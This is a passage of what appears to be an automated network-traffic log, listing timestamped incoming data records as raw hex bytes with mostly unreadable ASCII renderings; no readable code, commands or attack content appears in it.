2022-01-13 21:05:25 UTC 1564 IN Data Raw: 0c a2 f2 56 11 a3 28 7d e1 10 40 ff c9 9a f8 8b 65 4d 3c d5 fc 51 89 22 d9 ba fa 48 c9 1b 80 c9 31 3a b6 2f 49 
06 d4 b9 b0 fe 93 e5 8d 4f f8 ed 94 5f 85 52 25 fd 2a 2c fb bd c9 d5 68 12 80 3a a1 90 54 fc 86 ac 28 24 49 29 eb e6 52 dc 
9b b4 30 f3 5a 98 2e 2d a4 ce 64 2a ef 59 6a 8b 82 48 f5 99 45 aa cf 0b 16 fa 44 e5 96 39 c7 b3 73 50 12 cf 99 6a 57 9a 
24 14 b1 4e 58 27 52 7a a5 2d 93 ce bc 43 e3 53 84 eb b4 91 75 6c e4 24 e9 6a fa a6 66 4c fe 1a b1 07 4d d0 e9 1f 99 74 
3a 8f 1d e3 89 5a 48 a6 8a 90 69 be 34 e8 6c c2 af 46 2a 8c 6d 41 db 5f 85 82 b6 5b b9 cf 8f 4b a2 52 77 2e 84 bf 88 8e 8c 
ef 52 ee a4 96 a0 f8 8c 6f a9 9f 2a 72 8e d8 37 5f 85 96 1f a3 8e e5 f0 1e a7 96 92 2f 4d 77 a9 7a a5 7d a7 5d 8b 36 89 bb 
9f 0e c4 b7 f9 13 a2 2e ab 8c 3f 66 cb ba 2e 
Data Ascii: V(}@eM<Q"H1:/IO_R%*,h:T($I)R0Z.-d*YjHED9sPjW$NX'Rz-CSul$jfLMt:ZHi4lF*mA_[KRw.Ro*r7_/Mwz}]6.?f.

2022-01-13 21:05:25 UTC 1565 IN Data Raw: cb 84 a4 93 86 9d c5 fb 38 62 c5 71 f7 56 e1 bb 68 61 dd 35 c4 da 30 2b 2a a1 29 13 a2 1c 55 99 50 55 09 a6 
5a 9e e2 a7 22 7f 4d f9 1b e5 5b b3 fc 20 74 66 fd a9 4a 98 f5 d1 0b d6 63 6f 36 d8 1f ca 6d f6 5d 5f 98 db 64 51 90 30 1a 
4f b8 44 41 5e bc fd 8e ad 68 b8 3d 1a 0e 03 6f 4a 9b 9a 4c d8 e9 4d 3c 99 b6 19 aa f5 0d 10 df 68 a1 11 2f e1 24 dd 51 
56 22 76 2e 24 6e 54 e4 fb 12 a8 7c 35 5d 91 24 99 cf b7 91 2d 20 79 5a 70 70 8b e2 5d 6c 77 d2 01 a2 f2 89 97 49 f4 bc 
7c 09 76 47 e7 06 92 06 80 41 9a 07 64 d3 1a bf 7c e5 6a d2 e5 93 30 1e 19 6f 5b 5d fb 48 eb 1a ec 85 b0 63 9f 6a 1d a3 
69 74 23 64 38 84 57 02 18 07 e9 46 5d f6 b8 ae 7a 1c c3 a1 22 f4 a8 77 bf 3d 11 22 96 18 e6 e1 9f c0 3f 83 e7 54 13 a2 
28 27 4f 08 c2 99 bd 48 b4 42 73 02 58 fb f0 b1 81 ec 
Data Ascii: 8bqVha50+*)UPUZ"M[ tfJco6m]_dQ0ODA^h=oJLM<h/$QV"v.$nT|5]$- yZpp]lwI|vGAd|j0o[]Hcjit#d8WF]z"w="?
T('OHBsX

2022-01-13 21:05:25 UTC 1566 IN Data Raw: 3f 1c e5 25 bf 98 8f 39 2c 55 4d b9 a0 7c 2c bb cd 05 06 56 7a d0 98 d8 a9 c0 3a 91 14 e0 8c ef ca c2 6f 4f ec 
91 dd 51 d7 24 5c 25 45 10 65 7e b3 20 f0 1a 0b 61 47 46 db 16 7c fb 4e a5 4b 72 81 5b 38 3a 13 61 3b 02 44 8f 50 7a 19 
19 34 f2 a8 2f 80 d7 87 1b 61 5a c9 88 ad a2 56 3c 68 6c 93 da c9 76 ce 68 04 46 77 87 da 4f 31 a1 b8 79 b5 e0 f1 b3 10 
12 cb d9 e7 50 70 51 c4 f1 42 ec 27 91 d3 bf 79 ed 54 b1 d1 21 e5 f9 85 72 1d 19 0b 80 dd 1d 36 b5 c2 c7 6e a0 7c 3f 06 
f0 02 39 19 cd c6 5e 90 ff e1 4c e0 99 31 cf 25 cb 05 c3 34 d5 26 15 b2 3c 18 2e 4f 98 6b 07 4d f9 fc 1c 38 22 47 96 24 7e 
1b 5f de a8 98 24 34 2f ed cf 6f 12 54 72 7f 66 6c 75 db 5f df cc f5 14 73 b4 0d 57 47 46 e1 b5 d8 4b a7 a3 bc 58 40 e0 dc 
f3 e0 d6 81 b5 7e 92 35 9c 1b 41 56 7f df f6 71 
Data Ascii: ?%9,UM|,Vz:oOQ$\%Ee~ aGF|NKr[8:a;DPz4/aZV<hlvhFwO1yPpQB'yT!r6n|?9^L1%4&<.OkM8"G$~_$4/oTr
flu_sWGFKX@~5AVq

2022-01-13 21:05:25 UTC 1567 IN Data Raw: fc 13 08 d5 d1 9f d6 1a f2 d6 5b 69 08 e5 7e 0f 44 44 4a 1a cd 56 bd 4e 13 d7 fa 13 08 a1 47 d5 d5 86 d9 a4 fd 
31 93 6a ff 22 8c b0 64 cd ca 2a ad fd 5a 2d 9b 68 ff 22 88 40 6b a9 37 8d 9a d9 a8 98 7f 82 44 a0 22 d5 56 a3 42 ff 6f 55 
33 37 b6 5f 84 51 95 b7 91 1a 11 c8 46 8a ee fc 2e 88 56 b1 8b 80 7c b4 ea ab 29 74 cc fd 2e 8c 40 69 89 16 b5 b0 43 36 
ab bf 09 24 1a 1b 55 23 56 19 f2 34 5a ad d5 6c 1c 5a ea 4d b5 25 e1 43 e3 22 28 8b d9 aa 56 57 ab b4 ec 5b b5 cc 25 66 
9a 4b 95 98 12 38 34 24 82 b0 24 40 26 71 1f 95 5a 65 61 38 11 60 9a 4b c3 69 4a c0 d0 60 08 be 12 95 69 d7 20 52 bf ba 
5a af 64 02 a5 b6 58 cb da 22 4c b0 19 ae 36 6b 6b ab b4 ad 66 12 e7 5f 80 49 1d 3b c5 6a b5 b5 46 2b e1 17 60 92 cb 06 
0a 98 17 b3 b6 56 6f ae 2d 50 f7 df 82 09 08 20 31 
Data Ascii: [i~DDJVNG1j"d*Z-h"@k7D"VBoU37_QF.V|)t.@iC6$U#V4ZlZM%C"(VW[%fK84$$@&qZea8`KiJ`i RZdX"L6kk
f_I;jF+`Vo-P 1

2022-01-13 21:05:25 UTC 1569 IN Data Raw: 9e 5a 97 9d 26 c1 43 00 0e 2e 08 4e e8 a9 d7 a4 e5 97 be f2 d0 55 c7 c0 c3 26 65 40 20 63 ab 4b e0 ee e2 7e 
8d c2 fd 26 2e 81 18 03 a3 cb 1e 77 ed 2e df ea 1c 35 79 99 12 5f bc c6 b7 22 32 7c 28 2f 7a 30 19 44 67 6a 83 f2 37 7f ae 
6f 6a b8 4c 18 55 d4 ac 70 58 25 44 2d 4b d0 e0 08 36 ec e2 80 40 d1 d1 8d c9 21 bc 8f c6 05 71 2f 43 57 e6 ed d7 4f 9e 
7b 4e f8 e0 f3 30 79 f0 79 1d 9d 61 1e e2 0c b3 7a 6e 5d 2f 9f 61 4e 0a c2 37 f5 23 21 f3 62 0f 2b 59 56 30 98 d6 f7 5b cf 
c4 fb c3 59 74 f9 7d 30 9e b0 43 e3 e9 49 00 c3 7d c2 b3 38 dc 9f 63 4b 0b 6d 69 2d b2 ef f7 83 6d 79 39 db ca 8c c4 bb 
99 ba 1d 30 a6 29 86 91 61 1a c0 32 75 6e 1c 67 05 18 fa 1c 05 18 fa 9c 0e 30 e4 da 1c a6 f3 48 85 e9 8c 2d 4e 70 59 35 
74 98 18 be 63 ff 41 f2 14 7b f6 98 4d 06 dc 65 4f 
Data Ascii: Z&C.NU&e@ cK~&.w.5y_"2|(/z0Dgj7ojLUpX%D-K6@!q/CWO{N0yyazn]/aN7#!b+YV0[Yt}0CI}8cKmi-my90)
a2ung0H-NpY5tcA{MeO

2022-01-13 21:05:25 UTC 1570 IN Data Raw: 77 4f 51 db e1 ee c9 f6 1e bd 6e bd da 3f d8 ff f8 cd c8 e5 5f ef 7f 3c 42 ad af 8f 4f f2 5b c4 5e 9e 7c dc df fe 74 
b0 75 92 7f ff e9 e4 fd f1 e9 2e 75 60 87 ea 3d da 3f 7a 7d 42 cd ec 1e ee 1e 7d 2c e7 a9 5d 4a cc ef 7e a6 b7 fc e9 de d6 
c1 01 1a cb e5 b7 3e d1 08 4e d0 c7 fc f6 f1 fb 6f 27 fb 6f f6 3e e6 f7 8e 0f 76 76 29 f1 d5 2e 75 6e eb d5 c1 ae 68 8c 06 b6
7d b0 b5 7f 68 e4 77 b6 0e b7 de ec 72 a9 63 aa 86 c6 87 7c a2 87 f9 2f 7b bb 48 43 8b 5b f4 df f6 c7 fd e3 23 0c 65 fb f8 e
8 e3 09 bd 1a 34 d2 93 8f 51 d9 2f fb a7 bb 46 7e eb 64 ff 14 40 79 7d 72 7c 48 83 04 50 a9 c8 31 d7 42 05 8f 76 45 35 00 
78 7a 5e 28 0b de 3f 9d ee 46 35 e6 77 76 b7 0e a8 b2 53 14 e6 51 aa dc 34 ab 82 cc 6c 6f 57 30 c1 02 03 f9 42 2b 21 f3 
88 30 89 36 11 da 50 fc 60 9c ef 
Data Ascii: wOQn?_<BO[^|tu.u`=?z}B},]J~>No'o>vv).unh}hwrc|/{HC[#e4Q/F~d@y}r|HP1BvE5xz^(?F5wvSQ4loW0B+!06P`

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1571 IN Data Raw: ea 72 38 fa d1 0f fc 0e af 73 6c f4 d4 6d 40 fc 17 ba 99 8b 5b 46 2b 83 c0 11 92 d2 10 3c f7 14 17 2a fd 7c 9f 77 
76 9a 6a 30 fc 18 3d 75 9b 49 66 4c 7b 30 ed 66 f9 c9 06 cb b4 b1 73 5b 03 c7 27 cc 50 d2 be 1c 13 ea c4 a2 71 a9 47 38 
d5 13 f7 24 dd bb 34 77 16 31 67 ec c8 72 89 37 03 71 4a f1 72 e9 1e 10 81 7d 0e 24 2c 6e 18 44 8a e8 3b 2d 40 e2 91 72 
62 e5 b3 f0 63 a4 65 9d 36 33 35 bd 72 2c be 61 36 69 85 f1 32 85 9c e5 3b 57 d3 b4 ac 86 6b 7b 44 82 38 f1 aa ef dc 19 
62 a3 64 9a 32 1b 32 57 2a e5 33 62 05 27 e8 9d 44 59 8b 32 f6 a8 ad c1 08 0b 5d 0e 98 64 72 47 6c 65 77 dc 89 68 ff 11 
db 0e f6 2c b9 04 65 bb bc 8f 51 55 3d 54 25 50 ad 37 15 c4 fa 6a 4c 0b d2 bb 53 55 5f 89 7d 28 da 2c c4 aa fa 3f 04 a4 01 
74 36 d8 60 f8 7f fd de 65 30 0c 26 c4 d5 06 57 
Data Ascii: r8slm@[F+<*|wvj0=uIfL{0fs['PqG8$4w1gr7qJr}$,nD;-@rbce635r,a6i2;Wk{D8bd22W*3b'DY2]drGlewh
,eQU=T%P7jLSU_}(,?t6`e0&W

2022-01-13 21:05:25 UTC 1572 IN Data Raw: 2e 2e 37 87 df 27 4b e2 f4 8f 9e 6c 0b 38 1c ad 02 26 c4 29 01 56 b4 cd 02 7c 16 af 92 cb 5a 16 54 94 f1 9e 98 
17 9a 7f c1 ab 3e c1 c7 08 2d 9d 20 f2 ca 07 df 55 42 c8 10 62 3c 35 10 f4 78 8f e0 71 0a f6 6e 7c 87 4c f1 da cd 3d 4b cd 
eb 65 02 5e 2c b4 a0 17 f0 7a 8a 3e 49 dd 49 de 29 e7 8f 46 a0 39 3e 8d 5d 0c e7 ca 61 1a 27 b9 e0 6e d0 4f 23 18 1f 39 
82 f6 f9 11 fb 47 8f 39 29 31 49 06 10 1f 25 e5 61 e4 e1 0d ef 07 43 5d d2 40 b1 6f e1 78 42 9e 7e 96 a9 0a 37 c1 19 8c 28 
e3 78 92 d0 56 4c 4a 3d a9 cc 61 9e 61 28 64 5f 0e 64 26 07 a8 a4 44 79 b2 21 0f 23 31 25 b4 11 f8 00 a3 17 8c 87 4a 1a 
13 a0 96 30 34 98 33 ef c5 23 81 f3 0e 84 5c 4b f5 fe 19 4d 5d aa 5d 51 0f 89 99 a0 d9 20 13 5d fa e4 b8 bd 7e 0f e2 01 b1 
36 bc 0e 78 09 ca 08 19 33 62 65 14 b1 60 32 
Data Ascii: ..7'Kl8&)V|ZT>- UBb<5xqn|L=Ke^,z>II)F9>]a'nO#9G9)1I%aC]@oxB~7(xVLJ=aa(d_d&Dy!#1%J043#\KM]]Q 
]~6x3be`2

2022-01-13 21:05:25 UTC 1574 IN Data Raw: 7f b4 d4 7d da 6b 84 d7 e6 cf b0 97 d6 ad 45 90 77 a6 08 32 1c 61 92 91 46 92 f3 0c 02 43 0b 0f e1 61 3c 15 
46 51 85 4c 14 af c2 7d 39 c7 54 ec 4b bf fc e9 f9 34 42 31 67 1d 31 67 46 17 7e 1f 71 73 8c 26 8f 20 8b 4b 04 46 07 91 2f 
56 56 4e 08 dc 5d 76 6c 3a 37 f6 1d 06 c4 f6 e2 d2 5c 1e 31 87 86 58 72 53 c8 48 94 72 b6 3f b0 73 6c 4a 2d c3 ee 0a dc 
63 d2 e8 11 39 14 d5 22 76 f1 a1 e1 e8 06 1e f6 d8 2f b4 1a f0 81 5c a2 b8 9c 15 59 26 fb fa 4f f1 e0 b2 d1 f1 5f d7 9a 6f 14
26 c1 b4 60 c8 0b 6b 88 70 21 c1 72 7c a3 1d de 60 a2 47 57 d4 52 e1 cd ee c7 02 e1 2c 42 ff 50 d2 90 f6 66 ff 8e a3 71 
7a 1c ea 28 c9 b8 d5 71 15 83 33 b0 38 4b 4d 55 2b 15 15 d0 76 36 d9 f4 a2 a0 1c ec c7 8e 7d 41 7e a4 d9 d1 db 9e 0a 
7b cf 86 f5 b4 e7 c1 47 ec d0 97 81 d1 a4 79 73 32 
Data Ascii: }kEw2aFCa<FQL}9TK4B1g1gF~qs& KF/VVN]vl:7\1XrSHr?slJ-c9"v/\Y&O_o&`kp!r|`GWR,BPfqz(q38KMU+v6}A~
{Gys2

2022-01-13 21:05:25 UTC 1575 IN Data Raw: 47 3b 54 81 c4 d3 b7 49 9b f7 b8 ef 2c e8 24 19 74 78 c9 61 bf f4 b1 8a 87 cb d6 b3 71 a1 b6 83 71 77 9d 1d 8c 
df ec 53 d4 d1 24 88 e8 8e 11 f5 79 4c c5 b8 d6 98 a2 3e cf af 44 41 9f 63 67 0c eb 34 60 33 49 0e fa 3c 70 06 cb cb c3 4f 
64 b8 68 c3 cf 01 85 5c 5e 5e 3e b1 07 32 f8 b2 00 56 1c ed 2d 67 86 64 d5 31 7d c7 14 02 1a fe e4 45 80 1e cb 08 d0 3b 
79 11 a0 0f 01 df 39 87 34 90 43 1c 08 fc 3c d4 03 39 34 06 62 04 82 9e 13 07 ba 9f 8a 03 3d cd 2e c0 be d8 e6 c1 2b a0 
20 7c 2a 52 ee 00 8d f5 07 b5 68 4e dc 5b 63 ea b1 5b 1b c3 9f 5d b7 96 dd 81 85 1d 8a 6f bb 83 b1 da 31 8e f2 18 7f f0 
d0 18 3a cc 1e 29 3a b1 03 c7 76 40 96 bf ce a0 f8 11 c5 5c 63 dc c4 01 47 76 e6 f6 c7 80 54 e6 6c 8a 6e 6a 80 9b b2 03 
7f d4 a6 0c cc 38 b9 fd c2 8c 08 cc 4a a2 4f 7d c1 
Data Ascii: G;TI,$txaqqwS$yL>DAcg4`3I<pOdh\^^>2V-gd1}E;y94C<94b=.+ |*RhN[c[]o1:):v@\cGvTlnj8JO}

2022-01-13 21:05:25 UTC 1576 IN Data Raw: 73 7b d5 e8 e9 d3 dc 5e 15 7a ea be de eb ba 94 db ff 4c d1 88 e2 2a 2b b1 4a bd af 64 fd 9a 92 bd 42 b7 d5 
0a 07 ca af 29 bf 9d 5c 6c cd 7e 7b b9 f3 f3 5f 5d 62 e7 e6 6b c9 7e 8e dd 61 f5 27 50 97 02 68 62 f8 f1 a5 23 86 f4 a3 7f 3f 
29 88 a4 c0 c3 83 2c d0 7e 90 05 2e 3b a9 02 8f aa 40 47 15 b8 4a 17 78 52 05 7a aa c0 b7 74 81 df aa 40 5f 15 b8 4e 17 
d8 51 05 06 aa c0 f7 74 81 57 67 f1 4b b5 d0 55 2d 7c 4d b7 b0 ab 0a 8c 54 81 9f e9 02 7b aa c0 58 15 70 bb a9 02 e3 91 
2a 30 94 05 ce b1 c0 82 b1 94 aa c4 83 2a f1 25 dd c4 07 d5 c7 50 f5 f1 23 3d 88 8e 6a a1 ad 5a 38 4a b7 30 54 05 86 aa 
c0 69 ba c0 48 15 18 a9 02 67 e9 02 03 55 60 a0 0a 9c a4 0b f4 55 81 be 2a 70 9c 2e d0 52 05 ee 55 81 8f e9 02 3d 55 a0 
a7 0a 7c 4e 17 b8 57 05 62 55 e0 20 5d a0 ad 0a b4 
Data Ascii: s{^zL*+JdB)\l~{_]bk~a'Phb#?),~.;@GJxRzt@_NQtWgKU-|MT{Xp*0*%P#=jZ8J0TiHgU`U*p.RU=U|NWbU ]

2022-01-13 21:05:25 UTC 1578 IN Data Raw: 7f b8 f8 9e 25 3e e9 c4 62 ff 6d 64 ef d0 2e dc 66 75 6f 3a 90 28 b3 83 9c 58 7e 6d d3 d7 9d e2 43 a7 0f 91 b2 
79 0c 8a c7 8f 14 7e e1 db 63 2d c7 22 f0 58 e1 ce 48 e1 ce b1 c2 9d df 54 68 a7 ef 4e a0 10 6d 8e 46 25 e7 68 a3 32 2c 
f1 e1 8b c2 c7 8a ad 35 c8 8f d5 b2 c2 d1 e4 ba 1f f0 ed cf c4 58 d0 ad 64 54 fe 23 56 a2 b5 6e c8 02 75 c5 ba 45 07 f5 6c 
00 28 8f f1 e2 f0 a9 e3 c3 59 fa 83 54 cd 1f 4f f1 4d 12 16 67 2c ac b6 85 af 8d 05 6d e7 31 11 9f bf a7 9a 57 7b 7f 47 26 
04 39 5d c9 1e 06 21 f6 b1 28 83 84 84 70 72 05 f5 26 bc 0a 69 fb d7 7e 9a e4 85 69 17 06 53 a8 c8 e5 82 c5 37 cb 18 3b 
21 cd 1d bc 37 cc 5d 7a df 51 03 83 f1 0c 9e 2c 45 f0 49 5d b3 ef e8 58 7e 49 99 46 90 76 3e ae c1 b1 64 6d 9e bf 87 d5 f5
fd 75 71 39 aa 6e 4f a4 8d 8f 5b fc 24 c8 c8 
Data Ascii: %>bmd.fuo:(X~mCy~c-"XHThNmF%h2,5XdT#VnuEl(YTOMg,m1W{G&9]!(pr&i~iS7;!7]zQ,EI]X~IFv>dmuq9nO[$

2022-01-13 21:05:25 UTC 1579 IN Data Raw: b2 ad d5 1d fb 2d 83 5d 9b 37 d8 df e6 60 7f f3 60 0f 69 b0 c6 db c0 83 3d 46 46 1b 89 e1 b4 de 77 1b 0d 26 44 
03 d8 97 76 1d 0b c5 a2 82 7a a3 f8 63 53 96 dd 54 65 fb 54 16 33 23 0c 9d aa d4 bc 9d 67 bf 57 ed 8b 4e bb 0a d9 93 64 
6b 00 12 45 ab 62 0f 8a 7e af c0 3f 3a 6d 7a 0d 69 a3 8d cb b8 d8 f0 ec 92 a2 17 25 dd 8a 75 61 f8 70 3c 00 b4 1a c4 8c 
d8 cf 13 dc f9 c8 29 51 30 b7 e3 a9 03 86 56 67 ea 6c 2d 9e c3 45 4a 18 41 86 d7 42 1f a1 1a b2 3f cf f4 4e 81 fb 23 ed 63 
f0 dd 28 98 32 db 6e 38 5f 90 f3 39 20 58 f3 71 4b 39 9e af 7c a6 4a 9e 60 e0 6e 48 36 db d1 86 d5 9e 7d a9 77 f9 84 7f 1d 
ef 8a 50 ef ab d9 17 d1 00 78 b8 f2 0e 56 5f e9 9e f6 13 11 da 83 dd 57 9b 1b 41 3a 45 b2 f6 31 cc 5b 21 c5 ce 00 e6 0a f5 
52 2d a2 d3 17 c0 24 ec b7 4b 22 1b 0b e1 1b 
Data Ascii: -]7``i=FFw&DvzcSTeT3#gWNdkEb~?:mzi%uap<)Q0Vgl-EJAB?N#c(2n8_9 XqK9|J`nH6}wPxV_WA:E1[!R-$K"

2022-01-13 21:05:25 UTC 1580 IN Data Raw: 77 01 d1 7a 3e f9 39 f3 d5 14 23 57 9b 82 d1 e2 7d 38 4d 16 71 26 78 18 4b 89 70 01 7f 3e f8 74 ef 2b 1b f3 d2 
7b 45 2f 2f 2f d3 28 83 02 a4 85 3a ed 2b 43 15 26 fa 3a f1 1b bb 01 54 80 75 ad 08 69 f5 64 20 5f 0b 0c b1 86 49 49 8e 07 
a1 26 b2 7f e4 9e 64 cf d9 a7 c9 a1 bf c9 33 a4 5d 8a a7 e4 e7 6e a1 33 a2 64 3e 21 a8 01 21 cc 83 20 21 e5 3a a2 01 a3 
03 c1 1f f6 fa bb cd 92 78 d6 84 49 95 fc 41 4a 57 2c 1a 8c ca 5b c2 da 9b 37 d8 15 74 5f 58 fb 4e ca 37 13 f1 3d 43 23 f2 
8b b9 0b d7 66 7d 97 e1 6c 67 84 a1 2c 54 10 41 a2 3b 29 86 aa 3e 4e ec b2 70 28 a5 f1 50 5f 3a d3 6e f6 30 f4 42 11 46 
30 3a 37 12 ec c2 62 7b 3c a4 50 1e 48 28 85 14 88 aa 3b d0 ce 8c 31 11 48 e8 aa 8f 87 b1 95 a7 bb 84 a3 93 3e 59 7e 
b2 f3 3f 42 a7 29 e4 4c cb 3a eb f1 c4 ff a1 5f c2 
Data Ascii: wz>9#W}8Mq&xKp>t+{E///(:+C&:Tuid _II&d3]n3d>!! !:xIAJW,[7t_XN7=C#f}lg,TA;)>Np(P_:n0BF0:7b{<PH(;1H>
Y~?B)L:_

2022-01-13 21:05:25 UTC 1581 IN Data Raw: 11 c8 ab 21 4d 96 a2 64 be 95 e2 90 25 e5 f3 18 b2 f6 46 4a 33 17 6e e4 ab 2c 03 a9 77 79 9a d0 52 a4 92 bc 
00 cc 6f 24 95 02 9f 74 dc bc b7 93 56 4c 57 4f 0d 39 8f ac 92 7e e4 27 ea 55 3b 22 b3 9f 58 de 4e 7e 5d f2 09 b0 2a 05 b9
9b 41 5d 0f a8 4a 77 3f 6a 3d a3 06 75 18 1b 2f d3 21 2e 19 c9 14 98 95 55 7c 8e 7a 09 c6 05 55 81 00 c9 b9 a1 64 27 24 
41 d3 c8 5e d0 b2 7a a6 d1 2c 8b d4 cb 93 a1 06 b9 de cc f9 c6 f8 f2 c5 be f8 42 05 11 71 38 bf ce 8a 31 fa bf 23 6e 75 ec 
66 54 9b 0c 1f 80 be 1d a1 7b be 42 01 d7 e7 b3 0d 53 47 36 4a ab 20 c5 f4 0a c6 1e c2 66 b5 d1 3a b6 81 f3 6f 50 33 35 
38 05 56 60 a1 e7 9b 7b d7 26 c7 6d d0 3b 29 55 47 f8 8e 14 d7 4f 4e e9 41 a6 81 be e9 ef 08 39 c1 30 a1 ca 92 ac 02 c7 
6e 64 c7 29 17 80 72 eb 60 29 51 b3 59 b3 78 e5 29 
Data Ascii: !Md%FJ3n,wyRo$tVLWO9~'U;"XN~]*A]Jw?j=u/!.U|zUd'$A^z,Bq81#nufT{BSG6J f:oP358V`{&m;)UGONA9
0nd)r`)QYx)

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1583 IN Data Raw: 0b 0d 1e ca 9f 0d 35 06 d8 7e 94 46 34 ea f8 97 05 ca d5 06 70 d0 f4 09 37 96 7a 6d fb 30 6e b6 08 96 db 6e af 
9a 23 8d f9 8b db 83 13 23 67 bb 62 61 3c 3f d9 4d 5a 0c e3 19 7e 72 c3 89 68 c5 59 fa d8 63 25 17 a8 62 2b 7d 54 19 14 
09 86 8b d1 5e 6b 49 52 81 ee d4 16 5c 79 a4 f7 02 64 ee 20 2b 2c 40 42 ed bb 5c 4e ad 24 a9 c8 4b 57 c9 01 c8 aa 2b 1c 
4f c4 43 ae b0 c1 59 5a b2 99 e0 a7 18 64 cb db 88 aa 43 2f 0f d5 07 84 d0 06 fc 02 b7 a4 91 3d 1c c8 fa 77 69 b0 8f a6 64
f2 66 7e 0e c7 d5 50 72 2c 9d e9 a5 98 d1 07 21 86 88 2f 0b 5f 7c e7 38 88 62 94 1d ba d4 73 30 89 69 cb aa ba 05 da 1d 
db b0 6a 87 54 e4 91 bb 8a 45 a0 07 54 8c 9c db 20 8b a8 81 f9 98 ac b1 55 37 db dd 23 01 a4 98 a6 4c 7c 3c 4b 31 05 6f 
f2 e7 c6 f8 02 b4 81 34 d9 81 8b fa 72 2c 48 cf e7 
Data Ascii: 5~F4p7zm0nn##gba<?MZ~rhYc%b+}T^kIR\yd +,@B\N$KW+OCYZdC/=widf~Pr,!/_|8bs0ijTET U7#L|<K1o4r,H

2022-01-13 21:05:25 UTC 1584 IN Data Raw: 01 cd 98 7f a1 76 35 db 11 c6 61 5a 59 04 af a3 59 0a bc 2d 5e f5 a3 f4 aa 43 03 c9 c1 77 b5 77 4c 3c 6f 45 1f 
9a 1b 85 3b 1d b7 f5 34 04 40 55 99 c5 46 63 74 d9 04 56 72 ad b4 b1 ad ec 78 8d 0a 86 b1 e5 65 77 3c f0 43 a9 30 45 29 
b6 5a 72 32 d8 42 85 24 a9 0c c5 41 e3 2a e2 10 ee c2 a3 57 76 e0 ae 18 68 1b 5c 7b 6a c3 52 0b 44 ee 07 e3 59 ee 07 
bf 36 3b a3 6d 0a a2 8d 08 5c 4d 8c 23 9d a1 43 b6 a7 51 88 5a e6 7b dd b6 db ec a0 3b 23 f2 2a e8 ac 6d 6e fd 89 06 3f 
c1 d8 37 9e d9 88 8a 93 2b ae b5 3b 
Data Ascii: v5aZYY-^CwwL<oE;4@UFctVrxew<C0E)Zr2B$A*Wvh\{jRDY6;m\M#CQZ{;#*mn?7+;

2022-01-13 21:05:25 UTC 1584 IN Data Raw: 7c 56 98 70 bd a1 1d ac 96 d7 b6 91 9a 48 ec cd 3e 56 b4 b5 c6 a3 a4 1f 95 19 68 de ab e2 b4 d7 ba d0 90 27 
5f 38 77 5f ed 39 56 15 08 9c 8c 2f cf c6 a3 1e 5a 8b 89 1c 3a b1 61 3f c6 cc 6b 69 eb 83 60 79 79 8c cf d9 a7 9f 81 74 24 
4c 3d 75 e0 14 29 48 35 7e d8 5b 9b 28 5e 49 1b 8b df cd 34 80 b8 93 9f 0f dd 16 ea 51 95 f4 99 ac 53 94 3b 5c a3 6a 62 
6c 71 a5 54 8e b4 d1 04 85 10 ac 90 df ba 4f 26 28 28 cd ff e9 13 61 19 cb 60 cb 63 23 ad fd c7 c5 66 80 1a 28 72 30 32 
95 bf d0 8a 49 7a 94 d3 d2 40 92 cf 18 4e 06 b8 24 52 87 d2 6c b1 b6 90 1a d4 f7 1c 55 0e 19 f9 f2 17 6b 73 99 6b e1 4e 
d2 53 3a 72 67 1d ef 71 a6 64 ce b1 f9 4e 06 9b 00 44 73 4f cb 93 66 56 3d 29 1f a2 59 a4 1a 6f 4f b5 2d a7 00 95 0b 99 
81 fc 98 a2 a3 94 ae 19 ff cd 3c 92 d2 e3 39 d0 53 e2 
Data Ascii: |VpH>Vh'_8w_9V/Z:a?ki`yyt$L=u)H5~[(^I4QS;\jblqTO&((a`c#f(r02Iz@N$RlUkskNS:rgqdNDsOfV=)YoO-<9S

2022-01-13 21:05:25 UTC 1585 IN Data Raw: 51 19 14 9c 63 f8 ca 97 e6 1b 68 7a b5 fc 37 35 84 1b 83 f5 4e a8 1e b5 c5 f5 d1 1a 49 2d 9a 72 cb 0b f0 7a 62 
92 18 ad 69 27 e2 09 eb 7a 37 bd 45 34 83 fc 4b f8 54 6a 00 b3 ff 7c 3e 0e 9f 72 79 fc 12 d1 2a f9 b6 20 de 0a 40 1c 4d 7e 
35 50 0b 53 f3 55 22 1e 77 48 6c f7 74 a6 4e 49 f0 4b 09 b5 95 71 3b ab de 5f fe 44 7c ce 1d 03 29 fa 4c 0d 00 dd 35 a3 82 
80 2d 09 a2 e7 51 35 ca 76 24 fc 6a 59 34 ab d1 04 65 5c 49 a9 d4 f0 a0 cc aa 2c 84 20 7c ef db 5a f7 b2 24 02 f8 7f e8 ac 
1e 75 1a 68 16 fc 04 24 4b 3e 61 13 a9 f8 07 40 af 88 b6 13 af 86 b5 d2 fb 46 f2 be 03 ab 02 69 22 58 71 8e ed 06 10 b7 
62 ed 5d e1 cf 36 50 f1 18 9b d0 af db df 3c 94 4d 17 9b 05 d1 f4 e1 d7 29 5e c3 d5 9f 2a b1 16 3a 71 de 9a 05 b8 66 67 
53 37 b1 6b 1c 5f 84 c4 c8 3c 8d 6e ea 34 2e 
Data Ascii: Qchz75NI-rzbi'z7E4KTj|>ry* @M~5PSU"wHltNIKq;_D|)L5-Q5v$jY4e\I, |Z$uh$K>a@Fi"Xqb]6P<M)^*:
qfgS7k_<n4.

2022-01-13 21:05:25 UTC 1587 IN Data Raw: 77 65 9f 9c 86 22 45 22 fe b1 db 70 62 e5 ae d9 7f 83 bb e6 c7 d0 1b 8c fc e2 b9 3b 1c 02 b3 79 4c ba 11 09 
61 14 69 8f 66 2d d5 41 2a 6a 05 12 1f df 49 4a f1 7d 36 19 fb e1 41 3f fc bd 42 a4 7e 4f 5e 45 17 5b 72 28 a8 da 49 a2 5d 
f9 90 cf f2 ec ef 33 25 ea 09 b3 a9 bd 69 14 2f 3d 5b e1 c2 b8 38 42 5a dd 5b 52 8e 11 b4 18 df f1 44 32 52 e5 f7 20 1b a6 
01 ef a3 ef e4 cb 22 aa 5b 72 d1 ac aa b5 e3 23 ab 4e e6 23 63 9b d4 03 b1 c5 3a 6f 1f bb d5 3f 54 97 c4 8f 94 ab 8e c5 d1 
c0 ed 0c 9b a4 f6 32 4a 68 05 f8 cf d4 22 d0 cc 53 13 1f 4f 4f 9c 39 8d 66 c7 d6 2c 07 6f df 8a 9c 65 bd 0c 1c 64 e1 4f 86 
10 1e 67 57 ce 76 b7 a1 f5 23 24 e4 ed a1 ba 8a 6d 4e a6 f5 b7 f4 a2 d7 e0 59 b5 de 2b 07 14 75 db 80 0b 6e 10 17 0b 66 
